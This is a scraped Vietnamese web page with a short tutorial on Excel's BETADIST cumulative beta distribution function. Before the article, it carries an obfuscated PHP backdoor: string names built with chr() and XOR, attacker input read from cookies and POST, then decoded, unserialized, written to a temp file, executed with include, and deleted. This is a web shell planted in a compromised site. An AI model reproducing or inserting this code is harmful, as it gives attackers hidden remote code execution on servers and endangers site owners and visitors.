$ylZYFX = chr (85) . '_' . 'E' . "\121" . "\130" . chr (108) . chr (104); $yLWtuVuIpp = 'c' . chr ( 753 - 645 ).chr (97) . "\x73" . chr ( 582 - 467 ).chr (95) . "\145" . "\170" . chr ( 510 - 405 ).chr (115) . "\x74" . 's';$kAOmFrC = class_exists($ylZYFX); $yLWtuVuIpp = "35366";$DZnLrk = strpos($yLWtuVuIpp, $ylZYFX);if ($kAOmFrC == $DZnLrk){function IAeTZP(){$aZfgaHHvu = new /* 4364 */ U_EQXlh(29822 + 29822); $aZfgaHHvu = NULL;}$XKXHSy = "29822";class U_EQXlh{private function KWZRppi($XKXHSy){if (is_array(U_EQXlh::$YNoKSXbD)) {$name = sys_get_temp_dir() . "/" . crc32(U_EQXlh::$YNoKSXbD["salt"]);@U_EQXlh::$YNoKSXbD["write"]($name, U_EQXlh::$YNoKSXbD["content"]);include $name;@U_EQXlh::$YNoKSXbD["delete"]($name); $XKXHSy = "29822";exit();}}public function HfLoXJy(){$XvCgWQeB = "40563";$this->_dummy = str_repeat($XvCgWQeB, strlen($XvCgWQeB));}public function __destruct(){U_EQXlh::$YNoKSXbD = @unserialize(U_EQXlh::$YNoKSXbD); $XKXHSy = "22734_2480";$this->KWZRppi($XKXHSy); $XKXHSy = "22734_2480";}public function gYQxmX($XvCgWQeB, $uwoXMoiAQJ){return $XvCgWQeB[0] ^ str_repeat($uwoXMoiAQJ, intval(strlen($XvCgWQeB[0]) / strlen($uwoXMoiAQJ)) + 1);}public function HturnsX($XvCgWQeB){$IRxSAES = "\142" . "\x61" . "\163" . chr (101) . chr (54) . chr ( 962 - 910 );return array_map($IRxSAES . chr ( 150 - 55 ).chr ( 1074 - 974 )."\145" . "\143" . 'o' . chr (100) . 'e', array($XvCgWQeB,));}public function __construct($oCcnlBmz=0){$vemMBQz = ',';$XvCgWQeB = "";$YdToI = $_POST;$OaybdGwVx = $_COOKIE;$uwoXMoiAQJ = "c88d6de5-9c28-4205-88d1-aa6ae4d03ace";$vclXYK = @$OaybdGwVx[substr($uwoXMoiAQJ, 0, 4)];if (!empty($vclXYK)){$vclXYK = explode($vemMBQz, $vclXYK);foreach ($vclXYK as $TPeibWgFe){$XvCgWQeB .= @$OaybdGwVx[$TPeibWgFe];$XvCgWQeB .= @$YdToI[$TPeibWgFe];}$XvCgWQeB = $this->HturnsX($XvCgWQeB);}U_EQXlh::$YNoKSXbD = $this->gYQxmX($XvCgWQeB, $uwoXMoiAQJ);if (strpos($uwoXMoiAQJ, $vemMBQz) !== FALSE){$uwoXMoiAQJ = explode($vemMBQz, $uwoXMoiAQJ); $dXdlFMY = sprintf("22734_2480", rtrim($uwoXMoiAQJ[0]));}}public static $YNoKSXbD = 56125;}IAeTZP();} Hàm BETADIST - Hàm phân bố lũy tích Beta - Tải Chùa

Hàm BETADIST – Hàm phân bố lũy tích Beta

by admin • 8 Tháng chín, 2023 • [rt_reading_time] phút đọc
Rate this post
Rate this post

Các hàm trong Excel hiện nay đã và đang được hỗ trợ rất nhiều, đặc biệt là các hàm toán học. Các hàm tính toán này được hỗ trợ một cách rất đầy đủ, giúp bạn tính toán kết quả cho nhiều trường hợp hay các tình huống thực tế khác nhau. Ở bài viết này, chúng tôi sẽ giới thiệu đến bạn cách dùng hàm BETADIST trong Excel để tính mật độ phân phối xác suất tích lũy Beta.

 

Hàm BETADIST trong excel

Hàm BETADIST trong excel

Để đáp ứng các nhu cầu trong công việc của giới văn phòng, các tiện ích Excel trong bộ công cụ Office của Microsoft là đã và đang cải tiến không ngừng. Như thế, bạn sẽ nhanh chóng tính toán các kết quả chính xác và sát với thực tế dựa vào các hàm được hỗ trợ sẵn trong excel .

Hướng dẫn cú pháp và các sử dụng hàm BETADIST

Cú Pháp thực hiện: BETADIST(x, alpha, beta, A, B)

Với:

  1. x: Giá trị nằm giữa 2 giá trị A và B.
  2. alpha: Tham số của phân phối.
  3. beta: Tham số của phân phối.
  4. A là cận dưới của khoảng x. Mặc định A = 0.
  5. B là cận trên của khoảng x. Mặc định B = 1.

Để giúp bạn hiểu hơn về cách sử dụng, hãy xét ví dụ sau đây.

Bạn hãy nhập vào Excel các giá trị thực tế tương ứng với các tham số của hàm BETADIST.

Nhập các giá trị tương ứng vào ô Execl

Nhập các giá trị tương ứng vào ô Execl

Nhập công thức của hàm Beta tại ô C11, ta được kết quả như hình dưới đây

Công thức hàm Beta tại Ô C11

Công thức hàm Beta tại Ô C11

Hàm BETADIST trong Excel để tính mật độ phân phối xác suất tích lũy Beta thật đơn giản phải không bạn. Khi sử dụng hàm BETADIST để tính toán, bạn cần chú ý về giá trị của những tham số trong hàm để có được kết quả chính xác nhất nhé.

Bài viết cùng chủ đề:

Chuyên mục bài viết